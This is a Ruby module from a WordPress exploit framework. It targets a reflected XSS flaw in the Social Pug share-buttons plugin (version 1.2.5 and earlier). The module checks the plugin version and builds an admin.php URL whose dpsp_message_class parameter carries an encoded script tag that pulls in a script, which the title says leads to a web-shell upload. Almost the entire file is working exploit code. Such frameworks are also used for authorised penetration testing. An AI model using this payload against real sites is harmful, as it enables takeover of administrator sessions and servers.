# frozen_string_literal: true

class Wpxf::Exploit::SocialPugReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'Social Share Buttons - Social Pug <= 1.2.5 Reflected XSS Shell Upload',
      author: [
        'Tom Adams', # Discovery
        'rastating'  # WPXF module
      ],
      references: [
        ['WPVDB', '8692'],
        ['URL', 'http://seclists.org/fulldisclosure/2016/Dec/37']
      ],
      date: 'Dec 09 2016'
    )
  end

  def check
    check_plugin_version_from_readme('social-pug', '1.2.6')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'admin.php')
  end

  def url_with_xss
    "#{vulnerable_url}?page=dpsp-toolkit&settings-updated=1&dpsp_message_id=0&dpsp_message_class=%22%3E%3Cscript%3E#{xss_ascii_encoded_include_script}%3C/script%3E"
  end
end
